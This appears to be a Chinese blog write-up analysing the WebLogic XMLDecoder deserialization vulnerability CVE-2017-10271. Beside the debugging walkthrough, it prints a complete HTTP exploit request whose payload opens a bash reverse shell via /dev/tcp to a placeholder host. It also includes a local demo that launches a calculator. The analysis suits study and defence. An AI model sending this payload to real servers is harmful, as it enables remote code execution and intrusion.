weblogic反序列化

大概就两种,一种是通过T3协议来发送反序列化恶意对象,还有一种就是XMLDecoder反序列化

XMLDecoder反序列化

CVE-2017-10271

影响版本:

  • Oracle WebLogic Server 10.3.6.0.0
  • Oracle WebLogic Server 12.1.3.0.0
  • Oracle WebLogic Server 12.2.1.1.0
  • Oracle WebLogic Server 12.2.1.2.0

该漏洞主要针对weblogic的WLS-WebServices组件
属于上述反序列化漏洞利用的第三类
大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行

学前知识:

1
2
3
4
5
6
7
8
9
10
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"></void>
</object>
</java>
1
2
3
4
5
6
7
8
9
10
11
12
import java.io.FileInputStream;
import java.beans.XMLDecoder;

public class xmlDecoder {
public static void main(String[] args) throws Exception {
try(FileInputStream fileInputStream = new FileInputStream("1.xml")){
XMLDecoder xmlDecoder = new XMLDecoder(fileInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
}

image-20230402234402762

关于XMLDecoder触发反序列化导致命令执行的调试过程就不分析了

poc

注意其中的实体转义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
</void>
</array>
<void method="start" />
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body />
</soapenv:Envelope>

这里我们远程调试一下vulhub的CVE-2017-10271环境

根据poc,当我们传入<soapenv>标签包裹的数据时,wls-wsat使用了weblogic自带的

webservices处理程序来处理SOAP请求

具体堆栈调用如下

image-20230402205715122

然后先进入weblogic.wsee.jaxws.workcontext.WorkContextServerTube中的

processRequest方法,获取到我们传入的xml数据为var1,是一个packet类

image-20230402205808080

然后定义var2为处理过的var1数据

image-20230402205856557

通过var2.get()方法中的WorkAreaConstants.WORK_AREA_HEADER参数获取<work:WorkContext >标签中的内容作为var3

image-20230402210255097

当var3不为空时,执行readHeaderOld(var3)

image-20230402210625756

在readHeaderOld中,实例化了WorkContextXmlInputAdapter,此时方法内的var4就是我们java标签里的内容

image-20230402210936848

通过var4生成了var6WorkContextXmlInputAdapter

这里直接对传入的var4调用了xmlDecoder

image-20230402211032180

后半段就是带着java恶意字节码不断传递

image-20230402211418904

最后调用到了其readUTF()方法,从而进行了XMLDecoder.readObject()的反序列化

image-20230402211150206

为什么XMLDecoder会触发反序列化导致命令执行

[Java安全]XMLDecoder反序列化学习(一)_bfengj的博客-CSDN博客

java反序列化——XMLDecoder反序列化漏洞 - FreeBuf网络安全行业门户

XMLDecoder过程中的几个关键函数及补丁绕过

XMLDecoder解析流程分析 (seebug.org)

T3协议发送反序列化恶意对象

还没有分析,以后有空再回来调试看一下,java学习先就此告一段落吧